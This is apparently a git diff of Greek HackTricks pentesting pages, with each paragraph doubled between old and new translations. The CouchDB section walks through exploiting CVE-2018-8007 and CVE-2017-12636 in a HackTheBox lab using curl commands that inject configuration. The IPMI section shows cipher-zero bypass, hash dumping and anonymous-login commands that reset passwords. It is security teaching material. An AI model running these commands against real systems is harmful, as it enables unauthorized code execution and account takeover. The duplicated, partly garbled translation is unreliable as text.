Μια κρίσιμη ασφαλείας ειδοποίηση αναφέρεται για τη θύρα `4369`. Εάν αυτή η θύρα είναι προσβάσιμη μέσω του Διαδικτύου ή οποιουδήποτε μη αξιόπιστου δικτύου, η ασφάλεια του συστήματος εξαρτάται σε μεγάλο βαθμό από ένα μοναδικό αναγνωριστικό που ονομάζεται "μπισκότο" (cookie). Αυτό το μπισκότο λειτουργεί ως προστασία. Για παράδειγμα, σε μια δεδομένη λίστα διεργασιών, μπορεί να παρατηρηθεί το μπισκότο με το όνομα "monster", που υποδηλώνει τον λειτουργικό του ρόλο στο πλαίσιο ασφαλείας του συστήματος.
Μια κρίσιμη συμβουλή ασφαλείας επισημαίνεται σχετικά με την θύρα `4369`. Εάν αυτή η θύρα γίνει προσβάσιμη μέσω του Διαδικτύου ή οποιουδήποτε μη αξιόπιστου δικτύου, η ασφάλεια του συστήματος εξαρτάται σε μεγάλο βαθμό από έναν μοναδικό αναγνωριστικό που ονομάζεται "cookie." Αυτό το cookie λειτουργεί ως προστατευτικό μέτρο. Για παράδειγμα, σε μια δεδομένη λίστα διαδικασιών, μπορεί να παρατηρηθεί το cookie με το όνομα "monster", υποδεικνύοντας τον λειτουργικό του ρόλο στο πλαίσιο ασφαλείας του συστήματος.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Για όσους ενδιαφέρονται να κατανοήσουν πώς αυτό το "cookie" μπορεί να εκμεταλλευτεί για την εκτέλεση απομακρυσμένου κώδικα (RCE) στο πλαίσιο των συστημάτων Erlang, υπάρχει μια αφιερωμένη ενότητα για περαιτέρω ανάγνωση. Αναλύονται οι μεθοδολογίες για την εκμετάλλευση των cookies Erlang με μη εξουσιοδοτημένο τρόπο για την απόκτηση ελέγχου πάνω σε συστήματα. Μπορείτε να **[εξερευνήσετε τον λεπτομερή οδηγό για την κατάχρηση των cookies Erlang για RCE εδώ](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
Για όσους ενδιαφέρονται να κατανοήσουν πώς μπορεί να εκμεταλλευτεί αυτό το "cookie" για Remote Code Execution (RCE) στο πλαίσιο των συστημάτων Erlang, διατίθεται μια αφιερωμένη ενότητα για περαιτέρω ανάγνωση. Περιγράφει τις μεθόδους για την εκμετάλλευση των Erlang cookies με μη εξουσιοδοτημένους τρόπους για την επίτευξη ελέγχου πάνω σε συστήματα. Μπορείτε να **[εξερευνήσετε τον λεπτομερή οδηγό για την κακή χρήση των Erlang cookies για RCE εδώ](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Εκμεταλλευόμενοι το CVE-2018-8007 μέσω τροποποίησης του local.ini**
### **Εκμετάλλευση του CVE-2018-8007 μέσω Τροποποίησης του local.ini**
Παράδειγμα [από εδώ](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Μια πρόσφατα αποκαλυφθείσα ευπάθεια, CVE-2018-8007, που επηρεάζει το Apache CouchDB, εξερευνήθηκε, αποκαλύπτοντας ότι η εκμετάλλευση απαιτεί δικαιώματα εγγραφής στο αρχείο `local.ini`. Παρόλο που δεν είναι άμεσα εφαρμόσιμο στο αρχικό σύστημα στόχο λόγω περιορισμών ασφαλείας, έγιναν τροποποιήσεις για να παραχωρηθεί πρόσβαση εγγραφής στο αρχείο `local.ini` για σκοπούς εξερεύνησης. Παρέχονται λεπτομερείς βήματα και παραδείγματα κώδικα παρακάτω, που δείχνουν τη διαδικασία.
Μια πρόσφατα αποκαλυφθείσα ευπάθεια, CVE-2018-8007, που επηρεάζει το Apache CouchDB, εξετάστηκε, αποκαλύπτοντας ότι η εκμετάλλευση απαιτεί δικαιώματα εγγραφής στο αρχείο `local.ini`. Αν και δεν είναι άμεσα εφαρμόσιμη στο αρχικό σύστημα στόχο λόγω περιορισμών ασφαλείας, έγιναν τροποποιήσεις για να παραχωρηθούν δικαιώματα εγγραφής στο αρχείο `local.ini` για σκοπούς εξερεύνησης. Λεπτομερή βήματα και παραδείγματα κώδικα παρέχονται παρακάτω, δείχνοντας τη διαδικασία.
Πρώτα, προετοιμάζουμε το περιβάλλον εξασφαλίζοντας ότι το αρχείο `local.ini` είναι εγγράψιμο, επαληθεύοντας τα δικαιώματα πρόσβασης:
Αρχικά, το περιβάλλον προετοιμάζεται διασφαλίζοντας ότι το αρχείο `local.ini` είναι εγγράψιμο, επαληθεύεται με την καταγραφή των δικαιωμάτων:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
@ -166,11 +157,11 @@ root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Για να εκμεταλλευτείτε την ευπάθεια, εκτελείται ένας εντολή curl, προστίθεται στον στόχο `cors/origins` της διαμόρφωσης `local.ini`. Αυτό εισάγει ένα νέο προέλευσης μαζί με επιπλέον εντολές στην ενότητα `[os_daemons]`, με σκοπό την εκτέλεση αυθαίρετου κώδικα:
Για να εκμεταλλευτεί την ευπάθεια, εκτελείται μια εντολή curl, στοχεύοντας τη ρύθμιση `cors/origins` στο `local.ini`. Αυτό εισάγει μια νέα προέλευση μαζί με επιπλέον εντολές στην ενότητα `[os_daemons]`, με στόχο την εκτέλεση αυθαίρετου κώδικα:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Ο επόμενος έλεγχος επιβεβαιώνει την εισαγωγή της διαμόρφωσης στο `local.ini`, συγκρίνοντάς το με ένα αντίγραφο ασφαλείας για να επισημάνει τις αλλαγές:
Η επαλήθευση που ακολουθεί δείχνει την εισαγόμενη διαμόρφωση στο `local.ini`, συγκρίνοντάς την με ένα αντίγραφο ασφαλείας για να επισημάνει τις αλλαγές:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
@ -179,57 +170,57 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Αρχικά, το αναμενόμενο αρχείο (`/tmp/0xdf`) δεν υπάρχει, υποδηλώνοντας ότι η εντολή που εισήχθη δεν έχει εκτελεστεί ακόμα. Περαιτέρω έρευνα αποκαλύπτει ότι εκτελούνται διεργασίες που σχετίζονται με το CouchDB, συμπεριλαμβανομένης μίας που θα μπορούσε ενδεχομένως να εκτελέσει την εισαγόμενη εντολή:
Αρχικά, το αναμενόμενο αρχείο (`/tmp/0xdf`) δεν υπάρχει, υποδεικνύοντας ότι η εισαγόμενη εντολή δεν έχει εκτελεστεί ακόμα. Περεταίρω έρευνα αποκαλύπτει ότι διαδικασίες σχετικές με το CouchDB εκτελούνται, συμπεριλαμβανομένης μιας που θα μπορούσε δυνητικά να εκτελέσει την εισαγόμενη εντολή:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Τερματίζοντας την εντοπισμένη διεργασία του CouchDB και επιτρέποντας στο σύστημα να την επανεκκινήσει αυτόματα, ενεργοποιείται η εκτέλεση της ενθετωμένης εντολής, όπως επιβεβαιώνεται από την ύπαρξη του προηγουμένως απουσιάζοντος αρχείου:
Με την τερματισμένη διαδικασία CouchDB που έχει εντοπιστεί και επιτρέποντας στο σύστημα να την επανεκκινήσει αυτόματα, ενεργοποιείται η εκτέλεση της εισαγόμενης εντολής, επιβεβαιωμένη από την ύπαρξη του προηγουμένως απολεσθέντος αρχείου:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
Η εξερεύνηση αυτή επιβεβαιώνει την εφαρμοσιμότητα της εκμετάλλευσης CVE-2018-8007 υπό συγκεκριμένες συνθήκες, ειδικά την απαίτηση για εγγράψιμη πρόσβαση στο αρχείο `local.ini`. Οι παραδείγματα κώδικα και οι διαδικαστικές ενέργειες που παρέχονται προσφέρουν έναν σαφή οδηγό για την αναπαραγωγή της εκμετάλλευσης σε έναν ελεγχόμενο περιβάλλον.
Αυτή η εξερεύνηση επιβεβαιώνει τη βιωσιμότητα της εκμετάλλευσης του CVE-2018-8007 υπό συγκεκριμένες συνθήκες, ιδίως την απαίτηση για εγ writable πρόσβαση στο αρχείο `local.ini`. Τα παραδείγματα κώδικα και τα διαδικαστικά βήματα που παρέχονται προσφέρουν έναν σαφή οδηγό για την αναπαραγωγή της εκμετάλλευσης σε ένα ελεγχόμενο περιβάλλον.
Για περισσότερες λεπτομέρειες σχετικά με την CVE-2018-8007, ανατρέξτε στην ενημέρωση από την mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
Για περισσότερες λεπτομέρειες σχετικά με το CVE-2018-8007, ανατρέξτε στην ανακοίνωση της mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Εξερεύνηση της CVE-2017-12636 με Δικαιώματα Εγγραφής στο local.ini**
### **Εξερεύνηση του CVE-2017-12636 με Δικαιώματα Εγγραφής στο local.ini**
Παράδειγμα [από εδώ](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Εξερευνήθηκε μια ευπάθεια γνωστή ως CVE-2017-12636, η οποία επιτρέπει την εκτέλεση κώδικα μέσω της διεργασίας του CouchDB, αν και συγκεκριμένες ρυθμίσεις μπορεί να αποτρέψουν την εκμετάλλευσή της. Παρά την πληθώρα αναφορών Proof of Concept (POC) που είναι διαθέσιμες στο διαδίκτυο, απαιτούνται προσαρμογές για να εκμεταλλευτείτε την ευπάθεια στην έκδοση 2 του CouchDB, η οποία διαφέρει από τη συνήθως στοχευμένη έκδοση 1.x. Οι αρχικές ενέργειες περιλαμβάνουν τον έλεγχο της έκδοσης του CouchDB και την επιβεβαίωση της απουσίας της αναμενόμενης διαδρομής των διακομιστών ερωτημάτων.
Μια ευπάθεια γνωστή ως CVE-2017-12636 εξερευνήθηκε, η οποία επιτρέπει την εκτέλεση κώδικα μέσω της διαδικασίας CouchDB, αν και συγκεκριμένες ρυθμίσεις μπορεί να αποτρέψουν την εκμετάλλευσή της. Παρά τις πολλές αναφορές Proof of Concept (POC) που είναι διαθέσιμες online, απαιτούνται προσαρμογές για να εκμεταλλευτείτε την ευπάθεια στην έκδοση CouchDB 2, που διαφέρει από την κοινώς στοχοποιημένη έκδοση 1.x. Τα αρχικά βήματα περιλαμβάνουν την επαλήθευση της έκδοσης CouchDB και την επιβεβαίωση της απουσίας της αναμενόμενης διαδρομής των query servers:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Για να προσαρμοστεί στην έκδοση 2.0 του CouchDB, χρησιμοποιείται ένα νέο μονοπάτι:
Για να υποστηριχθεί η έκδοση 2.0 του CouchDB, χρησιμοποιείται μια νέα διαδρομή:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Οι προσπάθειες για προσθήκη και εκτέλεση ενός νέου διακομιστή ερωτημάτων αντιμετωπίστηκαν με σφάλματα που σχετίζονται με τα δικαιώματα, όπως φαίνεται από την παρακάτω έξοδο:
Οι προσπάθειες προσθήκης και εκτέλεσης ενός νέου διακομιστή ερωτήσεων συνάντησαν σφάλματα που σχετίζονται με άδειες, όπως υποδεικνύεται από την παρακάτω έξοδο:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Περαιτέρω έρευνα αποκάλυψε προβλήματα άδειας με το αρχείο `local.ini`, το οποίο δεν ήταν εγγράψιμο. Με τροποποίηση των δικαιωμάτων αρχείου με ρίζα ή πρόσβαση homer, έγινε δυνατή η συνέχιση:
Περαιτέρω έρευνα αποκάλυψε προβλήματα δικαιωμάτων με το `local.ini` αρχείο, το οποίο δεν ήταν εγγράψιμο. Με την τροποποίηση των δικαιωμάτων του αρχείου με πρόσβαση root ή homer, κατέστη δυνατό να προχωρήσουμε:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Οι επόμενες προσπάθειες για προσθήκη του διακομιστή ερωτημάτων επιτεύχθηκαν, όπως αποδεικνύεται από την απουσία μηνυμάτων σφάλματος στην απόκριση. Η επιτυχής τροποποίηση του αρχείου `local.ini` επιβεβαιώθηκε μέσω σύγκρισης αρχείων:
Οι επόμενες προσπάθειες προσθήκης του query server ήταν επιτυχείς, όπως αποδεικνύεται από την απουσία μηνυμάτων σφάλματος στην απάντηση. Η επιτυχής τροποποίηση του αρχείου `local.ini` επιβεβαιώθηκε μέσω σύγκρισης αρχείων:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Η διαδικασία συνεχίστηκε με τη δημιουργία μιας βάσης δεδομένων και ενός εγγράφου, ακολουθούμενη από μια προσπάθεια εκτέλεσης κώδικα μέσω μιας προσαρμοσμένης προβολής που αντιστοιχεί στον νεοπροσταθέντα διακομιστή ερωτήσεων:
Η διαδικασία συνεχίστηκε με τη δημιουργία μιας βάσης δεδομένων και ενός εγγράφου, ακολουθούμενη από μια προσπάθεια εκτέλεσης κώδικα μέσω μιας προσαρμοσμένης προβολής που χαρτογραφείται στον νεοαφιχθέντα διακομιστή ερωτημάτων:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
Ένα **[σύνοψη](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** με έναν εναλλακτικό φορτίο παρέχει περαιτέρω εισαγωγή στην εκμετάλλευση του CVE-2017-12636 υπό συγκεκριμένες συνθήκες. **Χρήσιμοι πόροι** για την εκμετάλλευση αυτής της ευπάθειας περιλαμβάνουν:
A **[σύνοψη](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** με μια εναλλακτική payload παρέχει περαιτέρω πληροφορίες σχετικά με την εκμετάλλευση του CVE-2017-12636 υπό συγκεκριμένες συνθήκες. **Χρήσιμοι πόροι** για την εκμετάλλευση αυτής της ευπάθειας περιλαμβάνουν:
- [Κώδικας εκμετάλλευσης POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Καταχώρηση στη βάση δεδομένων Exploit](https://www.exploit-db.com/exploits/44913/)
- [Κωδικός εκμετάλλευσης POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Καταχώρηση στη βάση δεδομένων εκμεταλλεύσεων](https://www.exploit-db.com/exploits/44913/)
## Shodan
@ -240,16 +231,17 @@ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -2,112 +2,113 @@
## 623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
### **Επισκόπηση του IPMI**
### **Overview of IPMI**
Το **[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** προσφέρει μια τυποποιημένη προσέγγιση για την απομακρυσμένη διαχείριση και παρακολούθηση των υπολογιστικών συστημάτων, ανεξάρτητα από το λειτουργικό σύστημα ή την κατάσταση λειτουργίας. Αυτή η τεχνολογία επιτρέπει στους διαχειριστές συστημάτων να διαχειρίζονται απομακρυσμένα τα συστήματα, ακόμα και όταν είναι απενεργοποιημένα ή μη ανταποκρίνονται, και είναι ιδιαίτερα χρήσιμη για:
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** προσφέρει μια τυποποιημένη προσέγγιση για την απομακρυσμένη διαχείριση και παρακολούθηση υπολογιστικών συστημάτων, ανεξάρτητα από το λειτουργικό σύστημα ή την κατάσταση τροφοδοσίας. Αυτή η τεχνολογία επιτρέπει στους διαχειριστές συστημάτων να διαχειρίζονται συστήματα απομακρυσμένα, ακόμη και όταν είναι απενεργοποιημένα ή μη ανταποκρινόμενα, και είναι ιδιαίτερα χρήσιμη για:
- Ρυθμίσεις πριν την εκκίνηση του λειτουργικού συστήματος
- Ρυθμίσεις εκκίνησης πριν από το λειτουργικό σύστημα
- Διαχείριση απενεργοποίησης
- Ανάκτηση από αποτυχίες του συστήματος
- Ανάκτηση από αποτυχίες συστήματος
Το IPMI είναι ικανό να παρακολουθεί θερμοκρασίες, τάσεις, ταχύτητες ανεμιστήρων και τροφοδοτικά, καθώς και να παρέχει πληροφορίες αποθέματος, να ελέγχει αρχεία καταγραφής υλικού και να αποστέλλει ειδοποιήσεις μέσω SNMP. Απαραίτητα για τη λειτουργία του είναι μια πηγή ενέργειας και μια σύνδεση LAN.
Το IPMI είναι ικανό να παρακολουθεί θερμοκρασίες, τάσεις, ταχύτητες ανεμιστήρων και τροφοδοσίες, παράλληλα με την παροχή πληροφοριών αποθέματος, την ανασκόπηση καταγραφών υλικού και την αποστολή ειδοποιήσεων μέσω SNMP. Απαραίτητο για τη λειτουργία του είναι μια πηγή τροφοδοσίας και μια σύνδεση LAN.
Από την εισαγωγή του από την Intel το 1998, το IPMI έχει υποστηριχθεί από πολλούς προμηθευτές, ενισχύοντας τις δυνατότητες απομακρυσμένης διαχείρισης, ιδιαίτερα με την υποστήριξη της έκδοσης 2.0 για σειριακή σύνδεση μέσω LAN. Οι βασικοί συστατικοί περιλαμβάνουν:
Από την εισαγωγή του από την Intel το 1998, το IPMI υποστηρίζεται από πολλούς προμηθευτές, ενισχύοντας τις δυνατότητες απομακρυσμένης διαχείρισης, ειδικά με την υποστήριξη της έκδοσης 2.0 για σειριακή επικοινωνία μέσω LAN. Τα κύρια στοιχεία περιλαμβάνουν:
- **Baseboard Management Controller (BMC):** Ο κύριος μικροελεγκτής για τις λειτουργίες του IPMI.
- **Λεωφορεία και διεπαφές επικοινωνίας:** Για εσωτερική και εξωτερική επικοινωνία, συμπεριλαμβανομένων των ICMB, IPMB και διάφορων διεπαφών για τοπικές και δικτυακές συνδέσεις.
- **Μνήμη IPMI:** Για αποθήκευση καταγραφών και δεδομένων.
- **Baseboard Management Controller (BMC):** Ο κύριος μικροελεγκτής για τις λειτουργίες IPMI.
- **Communication Buses and Interfaces:** Για εσωτερική και εξωτερική επικοινωνία, συμπεριλαμβανομένων των ICMB, IPMB και διάφορων διεπαφών για τοπικές και δικτυακές συνδέσεις.
- **IPMI Memory:** Για την αποθήκευση καταγραφών και δεδομένων.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Προεπιλεγμένη Θύρα**: 623/UDP/TCP (Συνήθως είναι σε UDP αλλά μπορεί επίσης να λειτουργεί σε TCP)
**Default Port**: 623/UDP/TCP (Συνήθως είναι σε UDP αλλά μπορεί επίσης να λειτουργεί σε TCP)
## Απαρίθμηση
## Enumeration
### Ανακάλυψη
### Discovery
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
Μπορείτε να **αναγνωρίσετε** τη **έκδοση** χρησιμοποιώντας:
Μπορείτε να **εντοπίσετε** την **έκδοση** χρησιμοποιώντας:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### Ευπάθειες του IPMI
### IPMI Vulnerabilities
Στον κόσμο του IPMI 2.0, αποκαλύφθηκε μια σημαντική αδυναμία ασφαλείας από τον Dan Farmer, αποκαλύπτοντας μια ευπάθεια μέσω του **τύπου κρυπτογράφησης 0**. Αυτή η ευπάθεια, περιγράφεται αναλυτικά στην έρευνα του [Dan Farmer](http://fish2.com/ipmi/cipherzero.html), επιτρέπει την μη εξουσιοδοτημένη πρόσβαση με οποιοδήποτε κωδικό πρόσβασης, εφόσον στοχευθεί ένας έγκυρος χρήστης. Αυτή η αδυναμία βρέθηκε σε διάφορα BMCs από κατασκευαστές όπως η HP, η Dell και η Supermicro, υποδηλώνοντας ένα ευρέως διαδεδομένο πρόβλημα σε όλες τις υλοποιήσεις του IPMI 2.0.
Στον τομέα του IPMI 2.0, μια σημαντική αδυναμία ασφαλείας αποκαλύφθηκε από τον Dan Farmer, εκθέτοντας μια ευπάθεια μέσω του **cipher type 0**. Αυτή η ευπάθεια, που τεκμηριώνεται λεπτομερώς στην [έρευνα του Dan Farmer](http://fish2.com/ipmi/cipherzero.html), επιτρέπει μη εξουσιοδοτημένη πρόσβαση με οποιονδήποτε κωδικό πρόσβασης εφόσον στοχευτεί ένας έγκυρος χρήστης. Αυτή η αδυναμία βρέθηκε σε διάφορους BMCs από κατασκευαστές όπως οι HP, Dell και Supermicro, υποδηλώνοντας ένα ευρέως διαδεδομένο πρόβλημα σε όλες τις υλοποιήσεις IPMI 2.0.
### **Παράκαμψη Πιστοποίησης IPMI μέσω του Τύπου Κρυπτογράφησης 0**
### **IPMI Authentication Bypass via Cipher 0**
Για τον εντοπισμό αυτής της αδυναμίας, μπορεί να χρησιμοποιηθεί το εργαλείο ανίχνευσης Metasploit auxiliary scanner που ακολουθεί:
Για να ανιχνευθεί αυτή η αδυναμία, μπορεί να χρησιμοποιηθεί ο παρακάτω auxiliary scanner του Metasploit:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
Η εκμετάλλευση αυτής της αδυναμίας είναι εφικτή με το `ipmitool`, όπως φαίνεται παρακάτω, επιτρέποντας την αναφορά και τροποποίηση των κωδικών πρόσβασης των χρηστών:
Η εκμετάλλευση αυτού του σφάλματος είναι εφικτή με το `ipmitool`, όπως αποδεικνύεται παρακάτω, επιτρέποντας την καταγραφή και τροποποίηση των κωδικών πρόσβασης χρηστών:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP Αποκτήστε Απομακρυσμένα τον Κωδικό Πρόσβασης του Συνθηματικού Αυθεντικοποίησης**
### **IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval**
Αυτή η ευπάθεια επιτρέπει την ανάκτηση αλατωμένων κατακερματισμένων κωδικών πρόσβασης (MD5 και SHA1) για οποιονδήποτε υπάρχον όνομα χρήστη. Για να δοκιμάσετε αυτήν την ευπάθεια, το Metasploit προσφέρει ένα ενότητα:
Αυτή η ευπάθεια επιτρέπει την ανάκτηση αλατισμένων κατακερματισμένων κωδικών πρόσβασης (MD5 και SHA1) για οποιοδήποτε υπάρχον όνομα χρήστη. Για να δοκιμάσετε αυτή την ευπάθεια, το Metasploit προσφέρει ένα module:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **Ανώνυμη Πιστοποίηση IPMI**
### **IPMI Ανώνυμη Αυθεντικοποίηση**
Μια προεπιλεγμένη ρύθμιση σε πολλά BMCs επιτρέπει την πρόσβαση "ανώνυμη", χαρακτηριζόμενη από κενές συμβολοσειρές ονόματος χρήστη και κωδικού πρόσβασης. Αυτή η ρύθμιση μπορεί να εκμεταλλευτεί για την επαναφορά κωδικών πρόσβασης ονομασμένων λογαριασμών χρηστών χρησιμοποιώντας το `ipmitool`:
Μια προεπιλεγμένη ρύθμιση σε πολλές BMC επιτρέπει την "ανώνυμη" πρόσβαση, που χαρακτηρίζεται από κενές συμβολοσειρές ονόματος χρήστη και κωδικού πρόσβασης. Αυτή η ρύθμιση μπορεί να εκμεταλλευτεί για να επαναφέρει τους κωδικούς πρόσβασης των ονομασμένων λογαριασμών χρηστών χρησιμοποιώντας `ipmitool`:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Καθαρό κείμενο κωδικοί πρόσβασης IPMI της Supermicro**
